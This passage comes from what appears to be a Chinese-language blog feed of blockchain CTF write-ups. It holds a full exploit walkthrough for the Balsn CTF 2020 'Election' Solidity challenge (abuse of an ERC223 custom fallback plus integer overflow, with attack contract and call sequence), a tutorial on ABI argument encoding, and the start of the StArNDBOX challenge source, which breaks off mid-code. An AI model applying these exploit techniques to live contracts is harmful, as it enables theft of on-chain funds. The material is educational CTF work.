WP 链接 https://github.com/CCSIR/dctf-2017/tree/master/finals/blockchain/rock-paper-scissors-spock-lizard-omega]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>CTF Wiki</tag>
<tag>challenges</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Balsn CTF 2020 - Election]]></title>
<url>%2F2021%2Fbalsn2020-election%2F</url>
<content type="text"><![CDATA[前言 复现 balsn2020 ctf 中的 Election 区块链题目,当时没做出来😭 wtcl ,都 2021 了,还在看 2020 的题目 这篇会写的很详细,大佬勿喷🙈 具体分析及官方 WP 如下:https://x9453.github.io/2021/02/27/Balsn-CTF-2020-Election/ 源码 https://github.com/hitcxy/blockchain-challenges/tree/master/2020/balsn/Election 复现地址为:ropsten@0xef31471E3004a78Ae403858BbcB27D6d1f37791C 关于 ABI 及 ABI Encoding 相关知识可以查看我的另一片博客 👉 Function Selector and Argument Encoding 👈 Source123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211pragma solidity =0.6.12;pragma experimental ABIEncoderV2;interface IERC223 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address to, uint value) external returns (bool); function transfer(address to, uint value, bytes memory data) external returns (bool); function transfer(address to, uint value, bytes memory data, string memory customFallback) external returns (bool); event Transfer(address indexed from, address indexed to, uint value, bytes data);}contract ERC223 is IERC223 { string public override name; string public override symbol; uint8 public override decimals; uint public override totalSupply; mapping (address => uint) private _balances; string private constant _tokenFallback = "tokenFallback(address,uint256,bytes)"; constructor (string memory _name, string memory _symbol) public { name = _name; symbol = _symbol; decimals = 18; } function balanceOf(address account) public view override returns (uint) { return _balances[account]; } function transfer(address to, uint value) public override returns (bool) { return _transfer(msg.sender, to, value, "", _tokenFallback); } function transfer(address to, uint value, bytes memory data) public override returns (bool) { return _transfer(msg.sender, to, value, data, _tokenFallback); } function transfer(address to, uint value, bytes memory data, string memory customFallback) public override returns (bool) { return _transfer(msg.sender, to, value, data, customFallback); } /* Helper functions */ function _transfer(address from, address to, uint value, bytes memory data, string memory customFallback) internal returns (bool) { require(from != address(0), "ERC223: transfer from the zero address"); require(to != address(0), "ERC223: transfer to the zero address"); require(_balances[from] >= value, "ERC223: transfer amount exceeds balance"); _balances[from] -= value; _balances[to] += value; if (_isContract(to)) { (bool success,) = to.call{value: 0}( abi.encodeWithSignature(customFallback, msg.sender, value, data) ); assert(success); } emit Transfer(msg.sender, to, value, data); return true; } function _mint(address to, uint value) internal { require(to != address(0), "ERC223: mint to the zero address"); totalSupply += value; _balances[to] += value; emit Transfer(address(0), to, value, ""); } function _isContract(address addr) internal view returns (bool) { uint length; assembly { length := extcodesize(addr) } return (length > 0); }}contract Election is ERC223 { struct Proposal { string name; string policies; bool valid; } struct Ballot { address candidate; uint votes; } uint randomNumber = 0; bool public sendFlag = false; //6 address public owner; //6 uint public stage; //7 address[] public candidates; //8 bytes32[] public voteHashes; //9 mapping(address => Proposal) public proposals; //10 mapping(address => uint) public voteCount; //11 mapping(address => bool) public voted; mapping(address => bool) public revealed; event Propose(address, Proposal); event Vote(bytes32); event Reveal(uint, Ballot[]); event SendFlag(address); constructor() public ERC223("Election", "ELC") { owner = msg.sender; _setup(); } modifier auth { require(msg.sender == address(this) || msg.sender == owner, "Election: not authorized"); _; } function propose(address candidate, Proposal memory proposal) public auth returns (uint) { require(stage == 0, "Election: stage incorrect"); require(!proposals[candidate].valid, "Election: candidate already proposed"); candidates.push(candidate); proposals[candidate] = proposal; emit Propose(candidate, proposal); return candidates.length - 1; } function vote(bytes32 voteHash) public returns (uint) { require(stage == 1, "Election: stage incorrect"); require(!voted[msg.sender], "Election: already voted"); voted[msg.sender] = true; voteHashes.push(voteHash); emit Vote(voteHash); return voteHashes.length - 1; } function reveal(uint voteHashID, Ballot[] memory ballots) public { require(stage == 2, "Election: stage incorrect"); require(!revealed[msg.sender], "Election: already revealed"); require(voteHashes[voteHashID] == keccak256(abi.encode(ballots)), "Election: hash incorrect"); revealed[msg.sender] = true; uint totalVotes = 0; for (uint i = 0; i < ballots.length; i++) { address candidate = ballots[i].candidate; uint votes = ballots[i].votes; totalVotes += votes; voteCount[candidate] += votes; } require(totalVotes <= balanceOf(msg.sender), "Election: insufficient tokens"); emit Reveal(voteHashID, ballots); } function getWinner() public view returns (address) { require(stage == 3, "Election: stage incorrect"); uint maxVotes = 0; address winner = address(0); for (uint i = 0; i < candidates.length; i++) { if (voteCount[candidates[i]] > maxVotes) { maxVotes = voteCount[candidates[i]]; winner = candidates[i]; } } return winner; } function giveMeMoney() public { require(balanceOf(msg.sender) == 0, "Election: you're too greedy"); _mint(msg.sender, 1); } function giveMeFlag() public { require(msg.sender == getWinner(), "Election: you're not the winner"); require(proposals[msg.sender].valid, "Election: no proposal from candidate"); if (_stringCompare(proposals[msg.sender].policies, "Give me the flag, please")) { sendFlag = true; emit SendFlag(msg.sender); } } /* Helper functions */ function _setup() public auth { address Alice = address(0x9453); address Bob = address(0x9487); _setStage(0); propose(Alice, Proposal("Alice", "This is Alice", true)); propose(Bob, Proposal("Bob", "This is Bob", true)); voteCount[Alice] = uint(-0x9453); voteCount[Bob] = uint(-0x9487); _setStage(1); } function _setStage(uint _stage) public auth { stage = _stage & 0xff; } function _stringCompare(string memory a, string memory b) internal pure returns (bool) { return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b)); } /* custom added functions */ function testdeet(address to, uint value, bytes memory data, string memory customFallback) pure public returns (bytes memory){ return abi.encodeWithSignature(customFallback, to, value, data); } function properEncode(address candidate, Proposal memory proposal, address t1, address t2) pure public { } function ballotEncode(Ballot[] memory ballots) pure public returns (bytes32){ return keccak256(abi.encode(ballots)); }} Analyse 考点是 ERC223 的 customFallback 错误引入、ABI encoding 、Integer overflow ,关于 ERC223 的官方实现可点击这里 👉 officially recommended implementation 👈 目标成功调用 giveMeFlag() 即可 题目大概是实现了一个投票系统,我们只需要让我们的票数最多即可,包括三个阶段:propose、vote、reveal propose : 通过 auth 验证便可添加新的 candidates vote : 投票人提交 ballot 投票的 hash 值,投票的数量是任意的,这里没有限制 reveal : 计算所有 candidates 的票数情况 第 56 行的这种调用可以通过 auth 验证,如果控制合理,可以调用自身的其他函数,因为 customFallback 可控,并且参数也都可控,只要我们控制的参数符合 ABI encoding format ,便可调用任何函数,关于 ABI encoding 可参考 官方文档,关于带有 auth 限制的主要有 propose 和 _setStage 函数: 当调用 customFallback 时,三个参数编码如下图左边所示 当调用 propose 时,编码如下图中间所示 当调用 _setStage 时,编码如下图右边所示 下图取自官方 WP ,如果有疑惑,可查看我的另一片博客 👉 Function Selector and Argument Encoding 👈 知道了不同函数调用参数编码,便可根据参数编码后的相应位置进行分析 通过 customFallback 调用 propose,需要满足下面条件: value = 0x40(需要构造,要求 attacker 拥有 0x40 的 token ) ,offset_to_data = 0x60(已满足),length_of_data = 0xa0(需要构造,要求 data 长度是 0xa0,同时为了通过 172 行和 173 行的检查,我们需要对 data 内容进行合理的构造) 通过 customFallback 调用 _setStage,需要满足下面条件:stage 可以是 0、1、2、3,所以相应只需 msg.sender 以 00、01、02、03结尾即可,多余的 value 参数和 data 参数不影响 第 145 行存在一个 integer overflow ,所以我们可以两个 ballot 投票,票数分别为 2^256-1(投给 attacker ) 和 1 (投给 Alice 或 Bob 任意一个),这样利用 145 行的 integer overflow 便可通过 148 行的限制,同时使 attacker 票数为 2^256-1 ,可通过 getWinner() 赢得选票 Solution 本题中的一些账户,下面为了简洁,就使用简称,下面是对应关系 0xef31471E3004a78Ae403858BbcB27D6d1f37791C Election 0x52cC2403764380CCa583633d2523999FE5077113 attacker账户 0xe7F2D75e69a989fb834e302f7caf8e1A9CC34000 00账户 0x40F6dBA38C634C86Ae11D1a775FA2215b7669702 02账户 0x6CDFf92000246705EFc00B625E2e3d6b0C9e7603 03账户 0x0000000000000000000000000000000000009453 Alice 0x0000000000000000000000000000000000009487 Bob 通过下列脚本,令 times = 64,使 _balances[attacker] = 0x40 12345678910contract son { Election target = Election(0xef31471E3004a78Ae403858BbcB27D6d1f37791C); function getmoney(uint times) public { for (uint i=0; i<times; i++) { target.giveMeMoney(); target.transfer(0x52cC2403764380CCa583633d2523999FE5077113, 1, "", ""); } }} 准备两个 ballot,一个投给 attacker,票数为 2^256-1 ;一个投给 Alice,票数为 1 先进行 ballotEncode 计算,调用形式如下 1ballotEncode([["0x52cC2403764380CCa583633d2523999FE5077113","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"], ["0x0000000000000000000000000000000000009453","0x1"]]) 结果如下图所示 调用 vote(0x741d83d533784642740e64dbea7fa658c082a96b14623cdb1866e58c252f7f23) ,然后查看 voteHashes[0] 成功显示 (使用 attacker账户 ) 切换到 stage 0 (使用 00账户 ),data 字段随意 将 attacker 增加到 candidate (使用 attacker账户 ) 其中 data 字段拆分如下 查看 proposals 可以看到添加 attacker 为 candidate 成功 切换到 stage 2 (使用 02账户 ),data 字段随意 进行 reveal 调用,其中 ballots 是 step 2 中的 ballots (使用 attacker账户 ),调用完后查看 voteCount[attacker] 已经是 2^256-1 切换到 stage 3 (使用 03账户 ),data 字段随意 调用 giveMeFlag() 即可 (使用 attacker账户 ),撒花完结 🎉🎉🎉🎉🎉🎉]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>balsn2020</tag>
<tag>election</tag>
</tags>
</entry>
<entry>
<title><![CDATA[Function Selector and Argument Encoding]]></title>
<url>%2F2021%2Fargument-encoding%2F</url>
<content type="text"><![CDATA[前言 最近看了一些奇怪的东西,触及到了知识盲区,就水了一篇博客记录一下 写的也不是很专业,只是按照个人理解,有错误的话欢迎及时交流 👀 参考了 👉 官方文档 👈 Function Selector 定义就不介绍了,不太清楚的可自行百度,直接来看例子(一看就懂,就不解释了) 参数包含结构体,相当于把结构体拆分成单个参数,只不过这些参数用 () 引起来 1234567891011121314151617181920212223242526272829303132pragma solidity >=0.4.16 <0.9.0;pragma experimental ABIEncoderV2;contract Demo { struct Test { string name; string policies; uint num; } uint public x; function test1(bytes3) public {x = 1;} function test2(bytes3[2] memory) public { x = 1; } function test3(uint32 x, bool y) public { x = 1; } function test4(uint, uint32[] memory, bytes10, bytes memory) public { x = 1; } function test5(uint, Test memory test) public { x = 1; } function test6(uint, Test[] memory tests) public { x = 1; } function test7(uint[][] memory,string[] memory) public { x = 1; }}/* 函数选择器{ "0d2032f1": "test1(bytes3)", "2b231dad": "test2(bytes3[2])", "92e92919": "test3(uint32,bool)", "4d189ce2": "test4(uint256,uint32[],bytes10,bytes)", "4ca373dc": "test5(uint256,(string,string,uint256))", "ccc5bdd2": "test6(uint256,(string,string,uint256)[])", "cc80bc65": "test7(uint256[][],string[])", "0c55699c": "x()"}*/ Function Selector and Argument Encoding 动态类型的数据,比如动态数组,结构体,变长字节,其编码后存储其 offset、length、data 先把参数顺序存储:如果是定长数据类型,直接存储其 data,如果是变长数据类型,先存储其 offset 顺序遍历变长数据:先存储 offset,对于第一个变长数据,先存储其 offset = 0x20 * number ( number 是函数参数的个数 );对于下一个变长数据,其 offset = offset_of_prev + 0x20 + 0x20 * number (第一个 0x20 是存储前一个变长数据的长度占用的大小,number 是前一个变长数据的元素个数) 顺序遍历变长数据:存储完 offset ,接着就是遍历每个变长数据,分别存储其 length 和 data ( ps: 对于结构体这样的类型,存储的时候可把结构体内元素看成是一个新函数的参数,这样的话,对于结构体中的第一个变长数据,其 offset = 0x20 * num ,num 是结构体元素的个数 ) 对于上述的合约例子,其函数调用最终编码如下 test1("0x112233") 120x0d2032f1 // function selector0 - 0x1122330000000000000000000000000000000000000000000000000000000000 // data of first parameter test2(["0x112233", "0x445566"]) 1230x2b231dad // function selector0 - 0x1122330000000000000000000000000000000000000000000000000000000000 // first data of first parameter1 - 0x4455660000000000000000000000000000000000000000000000000000000000 // second data of first parameter test3(0x123, 1) 1230x92e92919 // function selector0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter1 - 0x0000000000000000000000000000000000000000000000000000000000000001 // data of second parameter test4(0x123, ["0x11221122", "0x33443344"], "0x31323334353637383930", "0x3132333435") 123456789101112131415161718192021220x4d189ce2 // function selector0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter1 - 0x0000000000000000000000000000000000000000000000000000000000000080 // offset of second parameter2 - 0x3132333435363738393000000000000000000000000000000000000000000000 // data of third parameter3 - 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset of forth parameter4 - 0x0000000000000000000000000000000000000000000000000000000000000002 // length of second parameter5 - 0x0000000000000000000000000000000000000000000000000000000011221122 // first data of second parameter6 - 0x0000000000000000000000000000000000000000000000000000000033443344 // second data of second parameter7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of forth parameter8 - 0x3132333435000000000000000000000000000000000000000000000000000000 // data of forth parameter/* 一些解释说明data of first parameter: uint定长类型,直接存储其dataoffset of second parameter: uint32[]动态数组,先存储其offset=0x20*4 (4代表函数参数的个数) data of third parameter: bytes10定长类型,直接存储其dataoffset of forth parameter: bytes变长类型,先存储其offset=0x80+0x20*3=0xe0 (0x80是前一个变长类型的offset,3是前一个变长类型存储其长度和两个元素占用的插槽个数)length of second parameter: 存储完data或者offset后,便开始存储变长数据的length和data,这里是第二个参数的长度first data of second parameter: 第二个参数的第一个数据second data of second parameter: 第二个参数的第二个数据length of forth parameter: 上面就把第二个变长数据存储完成,这里就是存储下一个变长数据的长度data of forth parameter: 第四个参数的数据*/ test5(0x123, ["cxy", "pika", 123]) 123456789101112131415161718192021220x4ca373dc // function selector0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter1 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of second parameter2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // first data offset of second parameter3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // second data offset of second parameter4 - 0x000000000000000000000000000000000000000000000000000000000000007b // third data of second parameter5 - 0x0000000000000000000000000000000000000000000000000000000000000003 // first data length of second parameter6 - 0x6378790000000000000000000000000000000000000000000000000000000000 // first data of second parameter7 - 0x0000000000000000000000000000000000000000000000000000000000000004 // second data length of second parameter8 - 0x70696b6100000000000000000000000000000000000000000000000000000000 // second data of second parameter/* 一些解释说明data of first parameter: uint定长类型,直接存储其dataoffset of second parameter: 结构体,先存储其offset=0x20*2 (2代表函数参数的个数) first data offset of second parameter: 结构体内元素可当成函数参数拆分,有三个元素,因第一个元素是string类型,所以先存储其offset=0x20*3=0x60second data offset of second parameter: 结构体第二个元素是string类型,先存储其offset=0x60+0x20+0x20=0xa0 (第一个0x20是存储第一个string的长度所占大小,第二个0x20是存储第一个string的数据所占大小)third data of second parameter: 结构体第三个元素是uint定长类型,直接存储其datafirst data length of second parameter: 存储结构体第一个元素的lengthfirst data of second parameter: 存储结构体第一个元素的datasecond data length of second parameter: 存储结构体第二个元素的lengthsecond data of second parameter: 存储结构体第二个元素的data*/ test6(0x123, [["cxy1", "pika1", 123], ["cxy2", "pika2", 456]]) 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182由于是结构体数组,所以需要拆分,由内向外。内部是两个结构体,分别来看其encoding对于["cxy1", "pika1", 123]结构体,其encoding如下(直接当成函数参数encoding)0 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy1"1 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika1"2 - 0x000000000000000000000000000000000000000000000000000000000000007b // encoding of 1233 - 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy1"4 - 0x6378793100000000000000000000000000000000000000000000000000000000 // encoding of "cxy1"5 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika1"6 - 0x70696b6131000000000000000000000000000000000000000000000000000000 // encoding of "pika1"对于["cxy2", "pika2", 456]结构体,其encoding如下(直接当成函数参数encoding)0 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy2"1 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika2"2 - 0x00000000000000000000000000000000000000000000000000000000000001c8 // encoding of 4563 - 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy2"4 - 0x6378793200000000000000000000000000000000000000000000000000000000 // encoding of "cxy2"5 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika2"6 - 0x70696b6132000000000000000000000000000000000000000000000000000000 // encoding of "pika2"由于是结构体,所以还需要["cxy1", "pika1", 123]的offset和["cxy2", "pika2", 456]的offset,如下0 - a // offset of ["cxy1", "pika1", 123]1 - b // offset of ["cxy2", "pika2", 456]2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy1"3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika1"4 - 0x000000000000000000000000000000000000000000000000000000000000007b // encoding of 1235 - 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy1"6 - 0x6378793100000000000000000000000000000000000000000000000000000000 // encoding of "cxy1"7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika1"8 - 0x70696b6131000000000000000000000000000000000000000000000000000000 // encoding of "pika1"9 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy2"10- 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika2"11- 0x00000000000000000000000000000000000000000000000000000000000001c8 // encoding of 45612- 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy2"13- 0x6378793200000000000000000000000000000000000000000000000000000000 // encoding of "cxy2"14- 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika2"15- 0x70696b6132000000000000000000000000000000000000000000000000000000 // encoding of "pika2"a指向offset of "cxy1",所以a=0x20*2=0x40b指向offset of "cxy2",所以b=0x20*9=0x120由于是结构体数组,结构体外面是数组,所以要按照动态数组encoding的方法,如下0 - c // offset of [["cxy1", "pika1", 123], ["cxy2", "pika2", 456]]1 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count of second parameter2 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of ["cxy1", "pika1", "1"]3 - 0x0000000000000000000000000000000000000000000000000000000000000120 // offset of ["cxy2", "pika2", "1"]4 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy1"5 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika1"6 - 0x000000000000000000000000000000000000000000000000000000000000007b // encoding of 1237 - 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy1"8 - 0x6378793100000000000000000000000000000000000000000000000000000000 // encoding of "cxy1"9 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika1"10- 0x70696b6131000000000000000000000000000000000000000000000000000000 // encoding of "pika1"11- 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy2"12- 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika2"13- 0x00000000000000000000000000000000000000000000000000000000000001c8 // encoding of 45614- 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy2"15- 0x6378793200000000000000000000000000000000000000000000000000000000 // encoding of "cxy2"16- 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika2"17- 0x70696b6132000000000000000000000000000000000000000000000000000000 // encoding of "pika2"c是函数参数的第二个参数,是动态类型,所以offset c = 0x20*2 = 0x40所以总的encoding如下0xccc5bdd2 // function selector0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // encoding of 0x1231 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of second parameter2 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count of second parameter3 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of ["cxy1", "pika1", "1"]4 - 0x0000000000000000000000000000000000000000000000000000000000000120 // offset of ["cxy2", "pika2", "1"]5 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy1"6 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika1"7 - 0x000000000000000000000000000000000000000000000000000000000000007b // encoding of 1238 - 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy1"9 - 0x6378793100000000000000000000000000000000000000000000000000000000 // encoding of "cxy1"10- 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika1"11- 0x70696b6131000000000000000000000000000000000000000000000000000000 // encoding of "pika1"12- 0x0000000000000000000000000000000000000000000000000000000000000060 // offset of "cxy2"13- 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of "pika2"14- 0x00000000000000000000000000000000000000000000000000000000000001c8 // encoding of 45615- 0x0000000000000000000000000000000000000000000000000000000000000004 // length of "cxy2"16- 0x6378793200000000000000000000000000000000000000000000000000000000 // encoding of "cxy2"17- 0x0000000000000000000000000000000000000000000000000000000000000005 // length of "pika2"18- 0x70696b6132000000000000000000000000000000000000000000000000000000 // encoding of "pika2" test7([[1, 2], [3]], ["one", "two", "three"]) 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596同理进行由内向外的拆分,首先是[[1, 2], [3]]动态数组中的[1, 2]和[3]两个动态数组0 - a // offset of [1, 2]1 - b // offset of [3]2 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [1, 2]3 - 0x0000000000000000000000000000000000000000000000000000000000000001 // encoding of 14 - 0x0000000000000000000000000000000000000000000000000000000000000002 // encoding of 25 - 0x0000000000000000000000000000000000000000000000000000000000000001 // count for [3]6 - 0x0000000000000000000000000000000000000000000000000000000000000003 // encoding of 3a指向[1, 2]的开始,所以a=0x20*2=0x40b指向[3]的开始,所以b=0x20*5=0xa0然后是[[1, 2], [3]]动态数组本身的encoding0 - c // offset of [[1, 2], [3]]1 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [[1, 2], [3]]2 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [1, 2]3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of [3]4 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [1, 2]5 - 0x0000000000000000000000000000000000000000000000000000000000000001 // encoding of 16 - 0x0000000000000000000000000000000000000000000000000000000000000002 // encoding of 27 - 0x0000000000000000000000000000000000000000000000000000000000000001 // count for [3]8 - 0x0000000000000000000000000000000000000000000000000000000000000003 // encoding of 3c指向[[1, 2], [3]]的开始,所以a=0x20*2=0x40其次是["one", "two", "three"]动态数组中每个string的encoding0 - d // offset for "one"1 - e // offset for "two"2 - f // offset for "three"3 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "one"4 - 0x6f6e650000000000000000000000000000000000000000000000000000000000 // encoding of "one"5 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "two"6 - 0x74776f0000000000000000000000000000000000000000000000000000000000 // encoding of "two"7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // count for "three"8 - 0x7468726565000000000000000000000000000000000000000000000000000000 // encoding of "three"d指向“one”的开始,所以d=0x20*3=0x60e指向“two”的开始,所以e=0x20*5=0xa0f指向“three”的开始,所以f=0x20*7=0xe0然后是["one", "two", "three"]动态数组本身的encoding0 - g // offset of ["one", "two", "three"]1 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for ["one", "two", "three"]2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // offset for "one"3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset for "two"4 - 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset for "three"5 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "one"6 - 0x6f6e650000000000000000000000000000000000000000000000000000000000 // encoding of "one"7 - 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "two"8 - 0x74776f0000000000000000000000000000000000000000000000000000000000 // encoding of "two"9 - 0x0000000000000000000000000000000000000000000000000000000000000005 // count for "three"10- 0x7468726565000000000000000000000000000000000000000000000000000000 // encoding of "three"这里g先不进行计算,因为涉及到函数参数整体的一个encoding上面就已经把最后就是[[1, 2], [3]]和["one", "two", "three"]分析完毕,最后就是其作为一个整体进行encoding0 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [[1, 2], [3]]1 - g // offset of ["one", "two", "three"]2 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [[1, 2], [3]]3 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [1, 2]4 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of [3]5 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [1, 2]6 - 0x0000000000000000000000000000000000000000000000000000000000000001 // encoding of 17 - 0x0000000000000000000000000000000000000000000000000000000000000002 // encoding of 28 - 0x0000000000000000000000000000000000000000000000000000000000000001 // count for [3]9 - 0x0000000000000000000000000000000000000000000000000000000000000003 // encoding of 310- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for ["one", "two", "three"]11- 0x0000000000000000000000000000000000000000000000000000000000000060 // offset for "one"12- 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset for "two"13- 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset for "three"14- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "one"15- 0x6f6e650000000000000000000000000000000000000000000000000000000000 // encoding of "one"16- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "two"17- 0x74776f0000000000000000000000000000000000000000000000000000000000 // encoding of "two"18- 0x0000000000000000000000000000000000000000000000000000000000000005 // count for "three"19- 0x7468726565000000000000000000000000000000000000000000000000000000 // encoding of "three"g指向字符串数组的开始,所以g=0x20*10=140所以总的selector+encoding如下所示0xcc80bc65 // function selector0 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [[1, 2], [3]]1 - 0x0000000000000000000000000000000000000000000000000000000000000140 // offset of ["one", "two", "three"]2 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [[1, 2], [3]]3 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of [1, 2]4 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset of [3]5 - 0x0000000000000000000000000000000000000000000000000000000000000002 // count for [1, 2]6 - 0x0000000000000000000000000000000000000000000000000000000000000001 // encoding of 17 - 0x0000000000000000000000000000000000000000000000000000000000000002 // encoding of 28 - 0x0000000000000000000000000000000000000000000000000000000000000001 // count for [3]9 - 0x0000000000000000000000000000000000000000000000000000000000000003 // encoding of 310- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for ["one", "two", "three"]11- 0x0000000000000000000000000000000000000000000000000000000000000060 // offset for "one"12- 0x00000000000000000000000000000000000000000000000000000000000000a0 // offset for "two"13- 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset for "three"14- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "one"15- 0x6f6e650000000000000000000000000000000000000000000000000000000000 // encoding of "one"16- 0x0000000000000000000000000000000000000000000000000000000000000003 // count for "two"17- 0x74776f0000000000000000000000000000000000000000000000000000000000 // encoding of "two"18- 0x0000000000000000000000000000000000000000000000000000000000000005 // count for "three"19- 0x7468726565000000000000000000000000000000000000000000000000000000 // encoding of "three"]]></content>
<categories>
<category>Solidity</category>
</categories>
<tags>
<tag>Solidity</tag>
<tag>Function Selector</tag>
<tag>Argument Encoding</tag>
</tags>
</entry>
<entry>
<title><![CDATA[🌟ctf 2021 区块链 StArNDBOX]]></title>
<url>%2F2021%2F6-ctf2021%2F</url>
<content type="text"><![CDATA[前言 🌟🌟🌟🌟🌟🌟战队组织的比赛,其中有一道区块链题目,就花了会时间看看 Source123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133pragma solidity ^0.5.11;library Math { function invMod(int256 _x, int256 _pp) internal pure returns (int) { int u3 = _x; int v3 = _pp; int u1 = 1; int v1 = 0; int q = 0; while (v3 > 0){ q = u3/v3; u1= v1; v1 = u1 - v1*q; u3 = v3; v3 = u3 - v3*q; } while (u1<0){ u1 += _pp; } return u1; } function expMod(int base, int pow,int mod) internal pure returns (int res){ res = 1; if(mod > 0){ base = base % mod; for (; pow != 0; pow >>= 1) { if (pow & 1 == 1) { res = (base * res) % mod; } base = (base * base) % mod; } } return res; } function pow_mod(int base, int pow, int mod) internal pure returns (int res) { if (pow >= 0) { return expMod(base,pow,mod); } else { int inv = invMod(base,mod); return expMod(inv,abs(pow),mod); } } function isPrime(int n) internal pure returns (bool) { if (n == 2 ||n == 3 || n == 5) { return true; } else if (n % 2 ==0 && n > 1 ){ return false; } else { int d = n - 1; int s = 0; while (d & 1 != 1 && d != 0) { d >>= 1; ++s; } int a=2; int xPre; int j; int x = pow_mod(a, d, n); if (x == 1 || x == (n - 1)) { return true; } else { for (j = 0; j < s; ++j) { xPre = x; x = pow_mod(x, 2, n); if (x == n-1){ return true; }else if(x == 1){ return false; } } } return false; } } function gcd(int a, int b) internal pure returns (int) { int t = 0; if (a < b) { t = a; a = b; b = t; } while (b != 0) { t = b; b = a % b; a = t; } return a; } function abs(int num) internal pure returns (int) { if (num >= 0) { return num; } else { return (0 - num); } } }contract StArNDBOX{ using Math for int; constructor()public payable{ } modifier StAr() { require(msg.sender != tx.origin); _; } function StArNDBoX(address _addr) public payable{ uint256 size; bytes memory code; int res; assembly{ size := extcodesize(_addr) code := mload(0x40) mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) mstore(code, size) extcodecopy(_addr, 